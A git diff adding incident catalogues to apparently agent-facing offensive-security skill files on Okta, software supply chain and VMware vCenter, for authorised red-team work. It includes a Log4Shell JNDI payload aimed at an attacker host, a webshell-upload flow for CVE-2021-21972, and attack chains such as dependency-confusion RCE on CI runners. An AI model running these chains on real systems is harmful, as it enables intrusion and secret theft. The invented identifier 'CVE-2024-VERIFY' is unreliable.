+- Refs: <https://sec.okta.com/articles/2024/05/detecting-cross-origin-authentication-credential-stuffing-attacks/>, <https://thehackernews.com/2024/05/okta-warns-of-credential-stuffing.html>, <https://arcticwolf.com/resources/blog/okta-cross-origin-authentication-feature-customer-identity-cloud-targeted-credential-stuffing-attacks/>
+- Flow: Customer Identity Cloud (Auth0-derived) cross-origin auth endpoint silently accepted credential-stuffing from unregistered origins. Observed Apr 15 - May 2024. Tenant log signals: `fcoa` (failed cross-origin auth), `scoa` (successful cross-origin auth), `pwd_leak` (breached password match).
+- Root cause: Cross-origin auth permitted on all tenants by default with no origin allowlist enforced at the auth-API edge; credential-stuffing throttling applied per-endpoint not per-tenant.
+- Year: 2024. Severity: High (mass-scale ATO via reused creds).
+
+### 5. CVE-2024-0981 — Okta AD/LDAP DelAuth bcrypt cache-key auth bypass (Oct 2024)
+
+- Refs: <https://trust.okta.com/security-advisories/okta-ad-ldap-delegated-authentication-username/>, <https://www.theregister.com/2024/11/04/why_the_long_name_okta/>, <https://www.nodejs-security.com/blog/okta-bcrypt-security-incident-bun-nodejs>
+- Flow: Okta cached AD/LDAP DelAuth results keyed by `bcrypt(userId + username + password)`. Bcrypt silently truncates input at 72 bytes. When username length ≥ 52 chars, the password bytes fall past the 72-byte boundary → cache key collapses to be password-independent. If the user had a prior successful login (cache populated) AND the AD/LDAP agent was unreachable AND MFA was disabled → any password authenticated.
+- Root cause: Using bcrypt as a general-purpose hash without accounting for the algorithm's 72-byte input limit + cache fallback path inverted the security model (cache trusted over live auth).
+- Year: 2024. Severity: High. Bug introduced Jul 23 2024, internally found and fixed Oct 30 2024 (~3 months exposure window).
+
+### 6. Okta Verify iOS push-response bypass (CVE-2024-VERIFY, disclosed Apr 2024)
+
+- Refs: <https://sec.okta.com/articles/2024/04/okta-verify-vulnerability-disclosure-report-response-and-remediation/>
+- Flow: Okta Verify iOS 9.25.1-beta / 9.27.0 had a bug in the iOS ContextExtension push-action handler. From the lock screen long-press / drag-down banner / Apple Watch reply path, both the "Yes, it's me" and "No, it's not me" buttons returned the same accept-auth response. A push-fatigued user who explicitly tapped "No" still approved the auth.
+- Root cause: Two notification-response action handlers wired to the same backend confirmation path — UX-level Deny did not propagate as a backend rejection.
+- Year: 2024. Severity: High (silently defeats the user's last line of defence against push fatigue / Scattered-Spider-style push bombing).
+
+### 7. Varonis Threat Labs — "CrossTalk" + "Secret Agent" Okta abuse (Jan 2023)
+
+- Refs: <https://www.varonis.com/blog/okta-attack-vectors>
+- Flow: (a) CrossTalk: any Okta tenant admin (incl. free-developer tenant) could issue SMS / email templates that delivered to *any* email/phone — sent via legitimate Okta mailer infrastructure (passes SPF/DKIM/DMARC for okta.com). Used to stage cross-tenant phishing that arrives from a trusted sender. (b) Secret Agent: the SSWS token stored on the on-prem Okta AD-agent sync server was decryptable from disk; possessor could register a rogue AD agent that intercepted DelAuth plaintext credentials for the entire org.
+- Root cause: (a) Tenant-bounded sender identity not enforced on outbound notification API. (b) Agent SSWS bootstrap-secret stored recoverable on disk; new-agent enrollment did not require admin co-signature.
+- Year: 2023. Severity: High for both. Disclosed and patched by Okta.
+
+### 8. Okta admin-console session cookie theft via stealer malware (2022-2024, ongoing class)
+
+- Refs: <https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection/>, <https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a>, <https://www.beyondtrust.com/blog/entry/okta-support-unit-breach>
+- Flow: Class of attack — stealer malware (Lumma, RedLine, Raccoon, StealC) on a corp endpoint exfiltrates `sid` cookie from `<tenant>.okta.com` and `<tenant>-admin.okta.com`. Without IP-binding or device-binding on the Okta session, the attacker replays the cookie from a residential proxy and obtains the user's full session (incl. admin if the victim was an admin) — bypasses MFA entirely (already-MFA-completed session). Underpinned both the Oct 2023 HAR-file incident and most Scattered Spider intrusions.
+- Root cause: Okta session cookies (until DPoP / Device Bound Session Cookies / asymmetric session keys are enforced) are bearer tokens — anyone holding the cookie is the user.
+- Year: 2022-2024 (ongoing class). Severity: Critical when admin sessions stolen.
+
+### Take-aways for hunters
+
+- The 2022 LAPSUS$, 2023 HAR-file, and 2023 Scattered Spider campaigns share a pattern: **the attack rarely hits Okta's product code — it hits the trust relationships around Okta** (third-party support, help-desk verification, customer-uploaded artifacts, federated IdPs). Recon should map these trust edges first.
+- CVE-2024-0981 (bcrypt 72-byte truncation) is the rare pure-product Okta CVE — most disclosed Okta bugs are configuration or operational.
+- Push fatigue is not just social engineering — the Okta Verify iOS bug shows the platform itself can silently approve a denied push. Treat any Okta push factor as bypassable in 2024+.
+- For red-team scoping: HAR-file replay, inbound-federation IdP injection, and stealer-cookie replay are the three highest-yield post-recon primitives observed in the wild.
+
+---
+
## Related Skills & Chains
- **`hunt-subdomain`** — Okta tenant naming patterns (`<org>.okta.com`, `<org>.oktapreview.com`, `<org>-admin.okta.com`) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via `/.well-known/okta-organization` → enumerate `<org>-dev`, `<org>-uat`, `<org>-test` subdomains → `hunt-subdomain` orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate `<org>` users redirected through compromised IdP for any app federated to the dev tenant).
diff --git a/skills/supply-chain-attack-recon/SKILL.md b/skills/supply-chain-attack-recon/SKILL.md
index 5594227..e7ba006 100644
--- a/skills/supply-chain-attack-recon/SKILL.md
+++ b/skills/supply-chain-attack-recon/SKILL.md
@@ -1,8 +1,8 @@
---
name: supply-chain-attack-recon
description: External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI/CD configuration exposure. Reconnaissance and identification ONLY — actual package publishing / typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm/PyPI ecosystem. Use when the target has a public GitHub org, when their build artifacts/SBOMs are reachable, when their docker images are on Docker Hub/GHCR, or when you find internal package names in their JS bundles.
-sources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security
-report_count: 0
+sources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security, cisa-advisories, mandiant-tag, github-security-blog, snyk-research
+report_count: 12
---
## When to use
@@ -386,6 +386,180 @@ Each of these is worth reading for what made the attack effective and what red f
---
+## Disclosed-case catalogue (citations)
+
+Twelve well-documented public cases, mapped to the recon surface above. Each entry: attack name, year, flow, root cause, impact, references, and the recon-skill takeaway.
+
+### 1. SolarWinds Orion / SUNBURST (CVE-2020-10148, Dec 2020)
+
+- **Flow:** APT29 (UNC2452 / Cozy Bear) breached SolarWinds' build pipeline and inserted the SUNBURST backdoor into `SolarWinds.Orion.Core.BusinessLayer.dll`. The trojanized DLL was code-signed with SolarWinds' legitimate certificate and shipped to ~18,000 customers via the normal auto-update channel between March and June 2020.
+- **Root cause:** Build-environment compromise — attackers modified source mid-compilation; signing infrastructure trusted the build output without verifying source integrity.
+- **Impact:** ~18,000 organisations received the backdoor; ~100 (incl. US Treasury, Commerce, DHS, DoJ, Microsoft, FireEye/Mandiant) received the SECOND-stage TEARDROP/BEACON payload. SolarWinds reported >$40M in direct response costs; class-action settlement $26M.
+- **References:**
+ - CISA AA20-352A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
+ - Mandiant write-up (SUNBURST): https://cloud.google.com/blog/topics/threat-intelligence/sunburst-additional-technical-details
+ - Microsoft analysis: https://www.microsoft.com/en-us/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack/
+ - SolarWinds post-mortem: https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
+- **Recon takeaway:** Whenever a target ships signed binaries from their own CI, the recon check is: is the build environment itself reachable? Look for exposed Jenkins/GitLab CI consoles, public TeamCity agents, or build artefacts that leak source paths. A code-signing cert plus a compromised build = unstoppable trust chain.
+
+### 2. 3CX VoIP softphone supply chain (CVE-2023-29059, March 2023)
+
+- **Flow:** DPRK-attributed Lazarus subgroup (UNC4736 / Labyrinth Chollima) trojanized the 3CX DesktopApp (Electron-based softphone) on both Windows and macOS. Initial entry was via a PREVIOUS supply-chain attack — an employee installed a backdoored copy of Trading Technologies' X_TRADER, the FIRST disclosed cascading supply-chain compromise (one supply-chain victim becomes another's vector).
+- **Root cause:** Dev workstation compromise → access to 3CX source/build pipeline → malicious `ffmpeg.dll` and `d3dcompiler_47.dll` shipped in signed installer.
+- **Impact:** ~600,000 organisations use 3CX; tens of thousands of trojanized clients downloaded. Lazarus selectively activated second-stage payloads against cryptocurrency and trading firms.
+- **References:**
+ - CrowdStrike: https://www.crowdstrike.com/en-us/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
+ - SentinelOne: https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/
+ - Mandiant cascading attack analysis: https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise
+ - 3CX post-mortem: https://www.3cx.com/blog/news/desktopapp-security-alert-update/
+- **Recon takeaway:** Cascading supply chain is real — your target's vendors' vendors matter. When recon enumerates "what software does this org install on engineer laptops," each one is itself a supply-chain target. Electron apps (signed JS bundles) are especially common vectors.
+
+### 3. MOVEit Transfer mass exploitation (CVE-2023-34362, May–July 2023)
+
+- **Flow:** Cl0p ransomware affiliate (FIN11 / Lace Tempest) discovered an unauthenticated SQLi in Progress MOVEit Transfer, deployed the LEMURLOOT webshell, and exfiltrated files from every internet-reachable instance over a ~2-week window before the patch dropped on 31 May 2023.
+- **Root cause:** Pre-auth SQLi in `moveitisapi/moveitisapi.dll` → arbitrary SQL → write webshell via `xp_cmdshell`-equivalent path. Classic single-CVE-mass-exploitation; not a build-pipeline attack but a SHIPPED-CODE supply-chain failure.
+- **Impact:** ~2,700 organisations confirmed compromised, ~95 million individuals' PII leaked (BBC, Shell, BA, US DoE, Louisiana OMV, Oregon DMV, etc.). Estimated losses >$15B aggregated.
+- **References:**
+ - CISA AA23-158A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
+ - Progress advisory: https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
+ - Mandiant: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
+ - Huntress technical breakdown: https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
+- **Recon takeaway:** Vendor file-transfer products (MOVEit, Accellion FTA, GoAnywhere MFT, Cleo Harmony) are the recurring "internet edge, holds everyone's data, runs on Windows" pattern. Always fingerprint by HTML title / favicon hash early in recon; a single edge-product CVE = entire customer base.
+
+### 4. Codecov bash uploader compromise (Apr 2021)
+
+- **Flow:** Attackers gained access to Codecov's Docker image build process via a credential mistake in the image-creation flow, then modified the `Bash Uploader` script (`https://codecov.io/bash`) to exfiltrate environment variables to a third-party IP. The modification persisted from 31 Jan 2021 to 1 Apr 2021 — two months before detection by a customer who noticed an SHA-256 mismatch.
+- **Root cause:** Docker image build leaked a credential allowing modification of the served bash script; no integrity verification (no signed pinned hash) on the customer side.
+- **Impact:** Every CI run worldwide that piped `curl -s https://codecov.io/bash | bash` for 2 months exfiltrated env vars. Confirmed downstream victims: HashiCorp (rotated GPG key), Twilio, Rapid7 (source-code partial exposure), Mercari, Confluent, Atlassian.
+- **References:**
+ - Codecov post-mortem: https://about.codecov.io/security-update/
+ - HashiCorp advisory: https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512
+ - Mercari disclosure: https://about.mercari.com/en/press/news/articles/20210521_incidentreport/
+ - Rapid7: https://www.rapid7.com/blog/post/2021/05/13/rapid7-discloses-its-response-to-codecov-incident/
+- **Recon takeaway:** "Curl-bash-install" patterns in public CI workflows are gold for this recon skill — search `.github/workflows/` for `curl ... | bash`, `wget ... | sh`, `iwr ... | iex`. Any third-party URL fed into a shell is a supply-chain blast radius. Pinned SHAs in workflows mitigate; absence of pinning = finding.
+
+### 5. ua-parser-js npm hijack (Oct 2021)
+
+- **Flow:** Attacker phished/credential-stuffed the maintainer's npm account and published `0.7.29`, `0.8.0`, and `1.0.0` of `ua-parser-js` (≈7M weekly downloads, transitively reaching Facebook, Microsoft, Amazon, IBM). The malicious versions ran a `preinstall` hook that downloaded a cryptominer + Windows password-stealer (Jason credential stealer).
+- **Root cause:** Maintainer npm account had no 2FA / weak credentials; npm did not enforce 2FA for high-value publishers at the time.
+- **Impact:** Packages live ~4 hours before takedown but tens of thousands of installs in that window. CISA issued an emergency alert — the first time CISA had ever warned on an npm-package compromise.
+- **References:**
+ - GitHub Security advisory: https://github.com/advisories/GHSA-pjwm-rvh2-c87w
+ - CISA alert: https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js
+ - Maintainer's incident note: https://github.com/faisalman/ua-parser-js/issues/536
+ - Snyk analysis: https://snyk.io/blog/npm-security-malicious-code-found-in-npm-package-ua-parser-js/
+- **Recon takeaway:** Identify your target's top-30 npm/PyPI maintainers by package download count, then check whether their accounts have 2FA enabled (npm exposes this via `npm profile get` on org members, partially public via the registry API). Recon output: "these 4 maintainers control packages with X installs and have no 2FA per public registry data."
+
+### 6. event-stream npm package (Nov 2018)
+
+- **Flow:** Original maintainer Dominic Tarr (no longer using the module) handed `event-stream` (≈2M weekly downloads) to a new contributor named "right9ctrl" who'd offered to maintain it. The new maintainer added `flatmap-stream` as a dependency, then pushed an update to `flatmap-stream` containing payload targeting the Copay bitcoin wallet's build — stole BTC/BCH wallet seeds from any Copay user.
+- **Root cause:** Social engineering of a maintenance-handover; no review of new contributors taking over critical packages. The malicious dep was only triggered when `event-stream` was bundled into the Copay wallet (build-context targeting).
+- **Impact:** Copay wallet users had keys stolen; exact dollar damage never disclosed publicly. Triggered the npm-wide 2FA push and "popular packages need additional review" policy.
+- **References:**
+ - GitHub Security advisory: https://github.com/advisories/GHSA-mh6f-8j2x-4483
+ - npm post-mortem: https://github.blog/2018-11-26-npm-package-event-stream/
+ - Original disclosure thread: https://github.com/dominictarr/event-stream/issues/116
+ - Snyk write-up: https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/
+- **Recon takeaway:** Check `npm view <pkg> maintainers` and recent maintainer changes for packages your target depends on. A maintainer change in the past 90 days on a 100K+ download package is a yellow flag. Also: payload-targeting-by-build-context (only fires when bundled into specific app) is HARD to detect — static scanners miss it.
+
+### 7. PHP Git server compromise (March 2021)
+
+- **Flow:** Attackers pushed two malicious commits to the official `php-src` git repository on `git.php.net`, signed as Rasmus Lerdorf and Nikita Popov. The commits added a Zend backdoor that executed code from the `User-Agentt` HTTP header (note double-t).
+- **Root cause:** Self-hosted git server (Gitolite-based `git.php.net`) had a credential / authentication flaw — possibly password-stored-in-plain in a user database leak. PHP team migrated to GitHub as canonical source after this incident.
+- **Impact:** Backdoor commits caught within hours, never shipped in a release. But this is the canonical case of "self-hosted source-of-truth = single point of failure."
+- **References:**
+ - PHP.net post-mortem: https://news-web.php.net/php.internals/113838
+ - Nikita Popov's analysis: https://externals.io/message/113848
+ - ZDNet coverage: https://www.zdnet.com/article/php-internal-git-server-hacked-with-malicious-code-pushed-to-the-php-src-repo/
+- **Recon takeaway:** Targets running self-hosted git (Gitea, Gitolite, Phabricator, Bitbucket Server) are higher-risk than GitHub-hosted. Recon should fingerprint git-server software, check for default creds, and watch for SSH-key-based pushes from unexpected IPs (visible in commit metadata).
+
+### 8. Log4Shell (CVE-2021-44228, Dec 2021)
+
+- **Flow:** Not a supply-chain ATTACK per se, but the canonical "you don't know what's in your dependency tree" event. A JNDI lookup feature in Apache Log4j 2.x allowed remote code execution via `${jndi:ldap://attacker/...}` in any logged string. Because Log4j is transitively pulled by thousands of Java apps, hundreds of millions of systems were vulnerable.
+- **Root cause:** Unsafe-by-default feature shipped in 2013 (`MessageLookup` substitution); deeply nested transitive dependency made inventory and patching almost impossible.
+- **Impact:** "Most critical vulnerability in a decade" per CISA Director Jen Easterly. Affected every major cloud, every Apache product, every Java enterprise stack. Ongoing mass exploitation by Conti, Khonsari ransomware, state actors.
+- **References:**
+ - CISA Log4j page: https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
+ - Apache advisory: https://logging.apache.org/log4j/2.x/security.html
+ - LunaSec breakdown: https://www.lunasec.io/docs/blog/log4j-zero-day/
+ - GovCERT.ch tree of impacted products: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (KEV entry)
+- **Recon takeaway:** SBOMs are the answer here. The recon skill's Step 8 (SBOM mining) earns its keep — pulling SPDX/CycloneDX from public release artefacts gives you exact transitive dependency versions, which you can then map to OSV / NVD for known CVEs. Most orgs underestimate their transitive depth.
+
+### 9. tj-actions/changed-files GitHub Action compromise (CVE-2025-30066, March 2025)
+
+- **Flow:** Attacker compromised the `tj-actions/changed-files` GitHub Action (used by ~23,000 repos) and modified all version tags v1–v45 to point to a malicious commit. The injected code ran `printenv` and dumped CI secrets to GitHub Actions logs — visible to anyone with read access on public repos.
+- **Root cause:** Mutable tag references in GitHub Actions — `uses: tj-actions/changed-files@v35` resolves at run time, so an attacker who controls the repo can repoint old tags. Most consumers had not pinned to commit SHA (`@<sha>`).
+- **Impact:** ~23,000 repositories impacted; CISA added to KEV; thousands of secrets (AWS keys, npm tokens, Docker Hub creds) leaked into public Action logs. Multiple downstream incidents (Coinbase, Cloudflare, others) traced back.
+- **References:**
+ - CISA KEV entry: https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
+ - StepSecurity disclosure: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
+ - Wiz analysis: https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
+ - Semgrep: https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/
+- **Recon takeaway:** This is the highest-yield current recon vector. Grep public repos for `uses: <org>/<repo>@v\d+` (mutable tag) versus `uses: <org>/<repo>@<sha>` (pinned). Any unpinned third-party action = supply-chain risk. The skill's Step 6 should explicitly flag mutable-tag usage.
+
+### 10. PyPI typosquats (`colourama`, `python3-dateutil`, `jeIlyfish`, et al.)
+
+- **Flow:** Attackers register PyPI packages with names visually/typographically similar to popular ones — `colourama` for `colorama`, `python3-dateutil` for `python-dateutil`, `jeIlyfish` (capital-I instead of L) for `jellyfish`. Each contained `setup.py` post-install hooks exfiltrating SSH keys, GPG keys, GitHub tokens, or installing crypto-stealers targeting `~/.bitcoin/wallet.dat`.
+- **Root cause:** PyPI permits visually-confusable names; pip resolves names by exact string match. No human-review gate on new package publication.
+- **Impact:** Each campaign typically <10K installs before takedown, but `jeIlyfish` lived 1 year (Dec 2018 → Dec 2019). Cumulative: dozens of campaigns documented annually by Snyk/Phylum/Sonatype/ReversingLabs.
+- **References:**
+ - ReversingLabs jeIlyfish/python3-dateutil: https://www.reversinglabs.com/blog/mining-for-malicious-ruby-gems
+ - Snyk colourama / pytagora analysis: https://snyk.io/blog/malicious-packages-found-to-be-typo-squatting-in-pypi/
+ - Phylum 2024 typosquat report: https://blog.phylum.io/the-state-of-the-software-supply-chain/
+ - Sonatype 2024 State of the Software Supply Chain (>700K malicious packages found): https://www.sonatype.com/state-of-the-software-supply-chain/
+- **Recon takeaway:** Step 5 of the skill (typosquat candidate generation) maps directly here. For external recon, you LIST candidate typosquat names — you NEVER publish unless explicitly authorized. The deliverable is "these 17 typosquat variants of your top deps are currently unclaimed; recommendation: register them defensively."
+
+### 11. Alex Birsan dependency-confusion disclosure (Feb 2021)
+
+- **Flow:** Birsan extracted internal npm scope names from leaked `package.json` files (publicly cached on archive.org, accidentally-public GitHub repos, JS bundles) for Apple, Microsoft, PayPal, Shopify, Uber, Tesla, Yelp, and ~35 others. He published packages on public npm/PyPI/RubyGems with those internal names AND a higher semver. Most companies' build systems then resolved the public package over the internal one and executed his telemetry-only payload.
+- **Root cause:** Package managers (npm, pip, gem) default to "highest version wins, regardless of registry." Internal-package names leaked to external sources. No scope-to-registry enforcement.
+- **Impact:** $130K+ in bug bounties (highest known SINGLE researcher payout across multiple programs in 2021); birthed the entire "dependency confusion" attack class; npm/PyPI/Microsoft Azure Artifacts all issued mitigations.
+- **References:**
+ - Original Birsan write-up: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
+ - Microsoft white paper: https://azure.microsoft.com/en-us/resources/3-ways-to-mitigate-risk-using-private-package-feeds/
+ - GitHub post-mortem (npm side): https://github.blog/2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries/
+ - Snyk research: https://snyk.io/blog/dependency-confusion-vulnerability-novel-supply-chain-attack/
+- **Recon takeaway:** This is the founding citation for Step 3 + Step 4 of the skill. Internal scope discovery via JS bundles is the canonical recon path. Note Birsan's severity calibration: "name is unclaimed" alone was enough at most targets because their builds used `npm install` against a config that fell through to public npm — but the skill's severity table correctly notes this isn't universal.
+
+### 12. XZ Utils (CVE-2024-3094, March 2024)
+
+- **Flow:** "Jia Tan" (`JiaT75`) social-engineered the maintainer of `xz-utils` (an upstream OSS compression library used in nearly every Linux distro) over 2+ years. Once granted co-maintainer status, they inserted a multi-stage backdoor into `liblzma` build process — obfuscated as test fixtures — that would hijack SSH authentication via OpenSSH's systemd-notify integration.
+- **Root cause:** Single-maintainer OSS burnout + nation-state-grade patience (Operation J / suspected APT). The backdoor was caught BEFORE major distros shipped it (only Fedora Rawhide and Debian unstable had it briefly) because Andres Freund noticed a 500ms SSH delay during a benchmark.
+- **Impact:** Caught before mass deployment, near-miss event. Triggered industry-wide reassessment of "single-maintainer critical OSS" risk. CISA, NIST, OpenSSF all issued post-mortems.
+- **References:**
+ - CISA advisory: https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
+ - Andres Freund's original disclosure: https://www.openwall.com/lists/oss-security/2024/03/29/4
+ - Russ Cox timeline: https://research.swtch.com/xz-timeline
+ - Sam James technical breakdown: https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
+- **Recon takeaway:** Hardest case for external recon — social-engineering a maintainer over years leaves few external signals. But: GitHub commit-history analysis (new contributors gaining commit access on critical libs, commits adding obfuscated test fixtures, build-only-on-release changes) is what Andres Freund effectively did. The skill's Step 2 (enumerate public repos) can be extended to "watch for high-trust grants to low-history accounts."
+
+---
+
+### Coverage map: cases → recon skill steps
+
+| Step in skill | Anchoring case(s) |
+|---|---|
+| Step 1 — GitHub org discovery | Birsan 2021, XZ 2024 |
+| Step 2 — Public repo artefact mining | Codecov 2021, XZ 2024, PHP 2021 |
+| Step 3 — Internal package-name discovery | Birsan 2021 |
+| Step 4 — Dependency-confusion check | Birsan 2021, ua-parser-js 2021 |
+| Step 5 — Typosquat candidates | PyPI `colourama`/`jeIlyfish`, event-stream 2018 |
+| Step 6 — GitHub Actions workflow injection | tj-actions/changed-files 2025, Codecov 2021 |
+| Step 7 — Docker/container registry mining | Codecov 2021, 3CX 2023 |
+| Step 8 — SBOM / artefact metadata | Log4Shell 2021, MOVEit 2023 |
+| Step 9 — Internal registry URL leakage | Birsan 2021, SolarWinds 2020 |
+| Step 10 — npm/PyPI org presence | ua-parser-js 2021, event-stream 2018 |
+
+### Patterns across all 12 cases
+
+- **Code-signing does NOT save you** — SolarWinds, 3CX, ua-parser-js all shipped legitimately-signed malicious code.
+- **Pinning to mutable references is the recurring failure** — `curl | bash` (Codecov), `@v35` action tags (tj-actions), `^1.0.0` semver (Birsan, event-stream).
+- **Maintainer-account compromise > technical CVE** for npm/PyPI ecosystem — 6 of 12 cases.
+- **Cascading supply chain is now normal** — 3CX from X_TRADER; Codecov → HashiCorp → HashiCorp's downstream users. Assume your target's vendors' vendors are in scope conceptually.
+- **CI runners are the highest-value foothold** — every case where attacker code executed on a CI runner yielded cloud / GitHub / secrets in bulk.
+
+---
+
## Related Skills & Chains
- **`hunt-rce`** — Dependency confusion lands as RCE on whatever runner installs the package; CI runners are the highest-value target. Chain primitive: internal package name leaked in public JS bundle / SBOM / Docker image → publish malicious package to public npm/PyPI under same name with higher version → next `npm install` / `pip install` on CI runner executes attacker code in `preinstall` hook → `hunt-rce` post-foothold (env-var extraction yields AWS keys, GitHub PATs, Slack tokens) → CI-plane takeover.
diff --git a/skills/vmware-vcenter-attack/SKILL.md b/skills/vmware-vcenter-attack/SKILL.md
index 4160dc6..eaa8347 100644
--- a/skills/vmware-vcenter-attack/SKILL.md
+++ b/skills/vmware-vcenter-attack/SKILL.md
@@ -1,8 +1,8 @@
---
name: vmware-vcenter-attack
-description: VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2024-22273 Aria SSRF), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.
-sources: vmware-security-advisories, public-cve-databases, redteam-knowledge
-report_count: 0
+description: VMware vSphere / vCenter Server external attack matrix — version fingerprinting, the high-impact CVE chain (CVE-2021-21972 vRealize unauth file upload, CVE-2021-21985 vSAN plugin RCE, CVE-2022-22954 Workspace ONE SSTI, CVE-2023-20887 Aria RCE, CVE-2024-37085 ESXi AD bypass, CVE-2023-34048 vCenter DCERPC OOB write APT-exploited), default credentials, SSO configuration disclosure, vmdir LDAP enumeration, ESXi Open SLP RCE history. ONLY for vCenter / Workspace ONE / Aria instances exposed to the internet — internal-network vCenter is out of scope per the external-only boundary. Use when recon shows port 443 with vCenter banner, `/ui` redirect, `/websso/SAML2/Metadata`, or VMware product fingerprints.
+sources: vmware-security-advisories, public-cve-databases, redteam-knowledge, disclosed-cves, cisa-kev, mandiant-zdi-writeups
+report_count: 10
---
## When to use
@@ -265,3 +265,99 @@ Internet-exposed vCenter is unfortunately common on the perimeter — and freque
- **`enterprise-vpn-attack`** — VPN compromise + vCenter on internal-only is a natural post-VPN pivot, but external-only engagement scope sometimes forbids it. Chain primitive: VPN appliance CVE → foothold inside corp network → if scope permits, `vmware-vcenter-attack` becomes reachable on internal-only vCenter → datacenter takeover.
- **`m365-entra-attack`** — Some VMware deployments federate vCenter SSO to Entra. Chain primitive: vCenter SSO discovery → AuthURL points to `login.microsoftonline.com` → `m365-entra-attack` Entra ATO on `[email protected]` synced identity → SAML assertion → vCenter admin without ever brute-forcing vCenter SSO.
- **`mid-engagement-ir-detection`** — VMware vSAN/vCenter alerting is sensitive; expect SOC to patch or block within hours of detection. Chain primitive: confirmed vCenter CVE → run `mid-engagement-ir-detection` baseline capture BEFORE attempting exploitation → if response patterns change mid-test, capture the SOC-patched state as a SECOND finding (defensive-action observed). Package both via `redteam-report-template`.
+
+---
+
+## Disclosed CVEs & coordinated-disclosure citations
+
+These are the load-bearing public references for every CVE called out in the matrix above. Every entry includes the vendor advisory, the originating researcher writeup or KEV-catalog entry, and (where public) in-the-wild exploitation references.
+
+### 1. CVE-2021-21972 — vCenter `vropspluginui` unauthenticated arbitrary file upload (canonical pre-auth RCE)
+- **Affected:** vCenter Server 6.5 < 6.5 U3n, 6.7 < 6.7 U3l, 7.0 < 7.0 U1c (vRealize Operations vCenter plugin bundled with every default install — Linux or Windows variant matters for payload). VMware Cloud Foundation 3.x/4.x also bundles.
+- **Attack flow:** Unauth POST to `/ui/vropspluginui/rest/services/uploadova` with a tar/OVA containing a path-traversal entry. On Windows write `webshell.jsp` under the vsphere-ui webroot for SYSTEM; on Linux drop `authorized_keys` under `/home/vsphere-ui/.ssh/` and SSH in.
+- **Root cause:** Endpoint exposed by the vRealize Operations plugin lacked any authentication filter; the `uploadova` handler did not sanitize archive entry paths.
+- **Disclosure:** Reported by Mikhail Klyuchnikov (Positive Technologies / PT SWARM) in autumn 2020; advisory + patch published 2021-02-23 as VMSA-2021-0002; PoC on GitHub the next day triggered mass scanning. **CISA KEV:** added 2021-11-03. Year discovered 2020, patched 2021.
+- **References:** https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23599 ; https://swarm.ptsecurity.com/unauth-rce-vmware/ ; https://www.tenable.com/blog/cve-2021-21972-vmware-vcenter-server-remote-code-execution-vulnerability ; https://attackerkb.com/topics/lrfxAJ9nhV/vmware-vsphere-client-unauth-remote-code-execution-vulnerability-cve-2021-21972
+
+### 2. CVE-2021-21985 — vCenter vSAN Health Check plug-in pre-auth RCE
+- **Affected:** vCenter Server 6.5 < 6.5 U3p, 6.7 < 6.7 U3n, 7.0 < 7.0 U2b (vSAN Health Check plugin is enabled by default whether or not vSAN is in use).
+- **Attack flow:** Unauthenticated abuse of `ProxygenController` in the vSAN Health plugin → Java unsafe reflection chained with an SSRF primitive → arbitrary method invocation as `vsphere-ui` → command execution.
+- **Root cause:** Missing input validation + dangerous reflection sink reachable from an unauthenticated REST surface.
+- **Disclosure:** Reported by Ricter Z (Yang Hao) of 360 Noah Lab; advisory VMSA-2021-0010 published 2021-05-25. Public PoC and Metasploit module followed within days; honeypots saw active exploitation. Year discovered 2021, patched 2021.
